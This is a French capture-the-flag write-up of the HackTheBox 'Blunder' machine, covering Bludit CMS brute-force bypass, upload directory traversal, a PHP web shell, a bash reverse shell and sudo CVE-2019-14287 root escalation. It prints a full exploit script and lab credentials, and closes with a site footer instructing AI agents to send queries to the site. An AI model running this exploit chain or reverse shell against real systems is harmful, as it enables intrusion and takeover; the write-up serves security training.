> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md).

# Compte rendu HackTheBox de Blunder

{% embed url="<https://app.hackthebox.com/machines/Blunder>" %}

{% hint style="warning" %}
**Compétences :**

* Exploitation du CMS Bludit
* Contournement du blocage d'IP (en-tête X-Forwarded-For)
* Téléversement de fichier image via traversal de répertoires (en jouant avec .htaccess)
* Abus du privilège sudo (CVE-2019-14287)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/375f677ad759e80b891157ea7a16f6d74cf5aba7" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/2d2c196ad754f5b0b3f4d549387cc3260f747f1f" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.191 -oG allPorts
```

<figure><img src="/files/0a69a085fff266bbfc25e6b27334f8f24d3a0c93" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers (80)

<figure><img src="/files/c21bf2fa26db0841d1c09c39be6e7d3af0edab58" alt="" width="563"><figcaption></figcaption></figure>

Analyse des versions des ports avec Nmap :

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p80 10.10.10.191 -oN targeted
```

<figure><img src="/files/df93e71dfb1ff5a6936b05d70491bff12186a417" alt=""><figcaption></figcaption></figure>

Pour résoudre les noms de domaine en adresses IP via DNS, nous insérons le nom de domaine associé à son adresse IP dans le `/etc/hosts` fichier :

<figure><img src="/files/4a88e2143ed5a3ff82d694122e5e07864ab11865" alt=""><figcaption></figcaption></figure>

## Port 80 (Blunder) :

<figure><img src="/files/53fd30ec8344d6c23c9c772a6e141502f0de9804" alt=""><figcaption></figcaption></figure>

**Scan des répertoires**

Utilisez **Gobuster** pour trouver des répertoires intéressants :

```bash
gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

* Résultat : Découverte du **/admin** répertoire.

<figure><img src="/files/dc349b0bfe40b514178a084e707b1ae87c12128b" alt=""><figcaption></figcaption></figure>

**Identification du CMS**

En accédant à **/admin**, le CMS Bludit (version **3.9.2**) est détecté.

<figure><img src="/files/645c33551d3b2df841b9490ddb16c789512411ce" alt="" width="360"><figcaption></figcaption></figure>

## **Exploitation du CMS Bludit**

<figure><img src="/files/71501a07078ea7e4efba9769203809af06a70044" alt=""><figcaption></figcaption></figure>

**Recherche de vulnérabilités**

Utilisez `searchsploit` pour trouver des vulnérabilités connues :

<figure><img src="/files/cd7cdf87061598c115922f6b46c839ea0fa533c7" alt=""><figcaption></figcaption></figure>

#### Vulnérabilité détectée : **CVE-2019-17240**

{% hint style="info" %}
L'exploit vise à exploiter une vulnérabilité dans la mitigation des attaques par force brute sur Bludit, une plateforme CMS (Content Management System). La vulnérabilité, identifiée comme **CVE-2019-17240**, permet à un attaquant de contourner les protections contre les attaques par force brute mises en place dans les versions de Bludit antérieures ou égales à 3.9.2.
{% endhint %}

`searchsploit -m php/webapps/48942.py`

**Fichier texte trouvé**

Effectuez des recherches supplémentaires avec Gobuster :

```bash
gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php,txt,html
```

<figure><img src="/files/5676aa95aee45de54c8cccbc0b3bb8136601f38e" alt=""><figcaption></figcaption></figure>

Contenu : utilisateur identifié : **fergus**.

<figure><img src="/files/c93a65e33e301c602b0abd75c4b8c277c2c63e80" alt="" width="375"><figcaption></figcaption></figure>

### Force brute sur Bludit

Une fois que l'utilisateur **fergus** est découvert, utilisez un dictionnaire pour lancer une attaque par force brute :

```bash
python3 exploit.py -l http://blunder.htb/admin/ -u user.txt -p password.txt
```

Aucune correspondance trouvée pour le fichier **rockyou.txt**.

### **Dictionnaire personnalisé**

Utilisez **Cewl** pour générer un dictionnaire basé sur le site web :

```bash
cewl -u http://blunder.htb/ -w password.txt
```

<figure><img src="/files/ec38f5acdf3514212ff2c8a213b9c8372817c5e1" alt="" width="563"><figcaption></figcaption></figure>

Relancez l'attaque par force brute avec le dictionnaire personnalisé :

<figure><img src="/files/4815cb4c8552a8e831228f492fa906cf0ac40a03" alt=""><figcaption></figcaption></figure>

* Mot de passe trouvé : `fergus:RolandDeschain`

<figure><img src="/files/a035d47ab351263e19a8f9372f11eff31fe1b613" alt=""><figcaption></figcaption></figure>

## Exploitation du téléversement de fichier image via traversal de répertoires :

Une fois authentifié, ce CMS est vulnérable à une **traversal de répertoires** attaque de type permettant le téléversement de fichiers malveillants.

{% embed url="<https://github.com/bludit/bludit/issues/1081>" %}

{% hint style="info" %}
Nous pouvons spécifier l'emplacement du fichier téléchargé en modifiant la valeur de `uuid` puis téléverser une image malveillante dans le dossier temporaire.
{% endhint %}

Après authentification, il est possible de télécharger un nouvel exploit via `searchsploit` dans `multiple/webapps/48701.txt`, qui fournit les étapes pour exploiter cette vulnérabilité.

<figure><img src="/files/53c52e2f8f9be5dd7602170d42cab3e5f72b8e06" alt=""><figcaption></figcaption></figure>

**Étapes de fonctionnement**

<figure><img src="/files/1a49331c08b399702f64ccb7ff39803df680eda5" alt=""><figcaption></figcaption></figure>

1. **Créez un fichier malveillant** (`evil.png`) contenant du code PHP :

```bash
<?php
system($_GET['cmd']);
?>
```

2. **Modifiez le script pour l'adapter à la situation** (adresse IP de la victime, nom d'utilisateur, mot de passe, etc.).

<figure><img src="/files/ce0264c57f2d8b65187d4287048a64f2276b2a84" alt="" width="563"><figcaption></figcaption></figure>

3. **Exécuter l'exploit :**

Script Python d'exploitation :

```python
#!/usr/bin/env python3

import requests
import re
import argparse
import random
import string
import base64
from requests.exceptions import Timeout

url = 'http://blunder.htb/admin'  # MODIFIEZ-MOI
username = 'fergus'  # MODIFIEZ-MOI
password = 'RolandDeschain'  # MODIFIEZ-MOI

# msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=53 -f raw -b '"' > evil.png
# echo -e "<?php $(cat evil.png)" > evil.png
payload = 'evil.png'  # CRÉEZ-MOI

#echo "RewriteEngine off" > .htaccess
#echo "AddType application/x-httpd-php .png" >> .htaccess
payload2 = '.htaccess'  # CRÉEZ-MOI

def login(url,username,password):
    """ Se connecter avec les identifiants administrateur fournis et récupérer le cookie une fois authentifié """

    session = requests.Session()
    login_page = session.get(url + "/admin/")
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"',
                           login_page.text
                 ).group(1)
    cookie = ((login_page.headers["Set-Cookie"]).split(";")[0].split("=")[1])
    data = {"save":"",
            "password":password,
            "tokenCSRF":csrf_token,
            "username":username}
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer": url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
               "Content-Type":"application/x-www-form-urlencoded"
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/",
                            data=data,
                            headers=headers,
                            cookies=cookies,
                            allow_redirects = False
               )

    print("cookie: " + cookie)
    return cookie

def get_csrf_token(url,cookie):
    """ Récupérer le jeton CSRF à partir d'une session authentifiée """

    session = requests.Session()
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate"}
    cookies = {"BLUDIT-KEY":cookie}
    response = session.get(url + "/admin/dashboard",
                           headers=headers,
                           cookies=cookies
               )
    csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0]

    print("csrf_token: " + csrf_token)
    return csrf_token

def upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False):
    """ Téléverse les fichiers nécessaires pour exécuter PHP à partir de fichiers image malveillants. Charge utile et .htaccess """

    session = requests.Session()
    files= {"images[]": (payload,
                         open(payload, "rb"),
                         "multipart/form-data",
                         {"Content-Type": "image/png", "filename":payload}
                        )}
    if override_uuid:
        data = {"uuid": "../../tmp/temp",
                "tokenCSRF":csrf_token}
    else:
        # Dans l'application vulnérable, cette ligne apparaît en premier :
        # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
        # Bien qu'il y ait une vérification de l'extension de fichier, cela ne nous empêchera pas vraiment
        # de téléverser le fichier .htaccess.
        data = {"tokenCSRF":csrf_token}
    headers = {"Origin":url,
               "Accept":"*/*",
               "X-Requested-With":"XMLHttpRequest",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/new-content",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/ajax/upload-images", data=data, files=files, headers=headers, cookies=cookies)
    print("Téléversement de la charge utile : " + payload)

if __name__ == "__main__":
    cookie = login(url, username, password)
    token = get_csrf_token(url, cookie)
    upload_evil_image(url, cookie, token, payload, True)
    upload_evil_image(url, cookie, token, payload2)
```

<figure><img src="/files/1dc6f943b1869f63a19c6c55d4ae87a5ce513b2f" alt="" width="563"><figcaption></figcaption></figure>

4. **Accéder au fichier malveillant**: Une fois l'image téléchargée, allez simplement à `/bl-content/tmp/temp/evil.png` pour exécuter des commandes.

<figure><img src="/files/96760d8da68bb7f690c44964ed00b2f67f79605d" alt="" width="552"><figcaption></figcaption></figure>

5. **Écoutez sur le port 443 avec Netcat**:

```bash
nc -nvlp 443
```

5. **Exécutez un reverse shell**:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.2/443 0>%261"
```

<figure><img src="/files/5eb1c8cc359df96379a2af2ca7037cc8bc3dbbff" alt="" width="563"><figcaption></figcaption></figure>

**Gestion de session de terminal** :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Élévation de privilèges

L'exploration des fichiers révèle un fichier `users.php` dans le `bases de données` dossier contenant les identifiants hachés des utilisateurs `fergus` et `admin`:

`admin:bfcc887f62e36ea019e3295aafb8a3885966e265`

`fergus:be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7`

<figure><img src="/files/92a0e7fed22cce1fd80d499fa696fb94f49447b5" alt=""><figcaption></figcaption></figure>

En utilisant CrackStation pour tenter de casser ces hachages, il semble qu'ils ne soient pas reconnus.

<figure><img src="/files/81df0e23490290f5a51d0659fcbce701c8df11a2" alt=""><figcaption></figcaption></figure>

Cependant, à la racine du site web, une version plus récente de Bludit est trouvée, contenant les mêmes fichiers de configuration, mais avec des identifiants différents :

<figure><img src="/files/455dd6ca001f904873a5deeaccc8bf1720f39c0f" alt="" width="497"><figcaption></figcaption></figure>

* **hugo** : `faca404fd5c0a31cf1897b823c695c85cffeb98d`

<figure><img src="/files/1aa27afecd2da4e6de3a9daa764fbbd55a03e30d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c634506d354af1dafc71de043676e6afaac7d966" alt=""><figcaption></figcaption></figure>

`hugo:Password120`

<figure><img src="/files/9495f12dccf0a40f37bafed92e0af3d2dc5272f3" alt="" width="563"><figcaption></figcaption></figure>

### Flag user.txt :

<figure><img src="/files/55f51b2603ad4be7bff92b5583f7b5e52ad81f6e" alt="" width="563"><figcaption></figcaption></figure>

### Abus du privilège sudo (CVE-2019-14287) :

Lors de l'examen des privilèges sudo, nous avons découvert une configuration vulnérable dans le fichier sudoers. En utilisant la `sudo -l` commande, nous avons identifié un privilège qui autorise tous les utilisateurs sauf `root` à se connecter avec le `/bin/bash` commande :

<figure><img src="/files/e4c8a902efb97bdb2ee52771267658a659a646e4" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.exploit-db.com/exploits/47502>" %}

Cette vulnérabilité affecte toutes les versions de sudo antérieures à la version 1.8.27.

Dans notre cas, la version de sudo est inférieure à 1.8.27, ce qui rend cette vulnérabilité exploitable.

<figure><img src="/files/4027d48f30e2770fbf328baa080bdccbe5a8319e" alt="" width="510"><figcaption></figcaption></figure>

Pour exploiter cette vulnérabilité, exécutez simplement la commande suivante :

```bash
sudo -u#-1 /bin/bash
```

Cette commande vous permet d'exécuter un shell en tant qu'utilisateur `-1`, ce qui correspond à l'utilisateur `root`.

<figure><img src="/files/494bb8389af583904842a99e81259c60ad9429d6" alt="" width="563"><figcaption></figcaption></figure>

### Drapeau root.txt :)

<figure><img src="/files/b0376f6851976f9c6b3c7375458e096248ecdc2f" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/44192d567c7e42f74d5a37cf08df38b548a69041" alt="" width="532"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
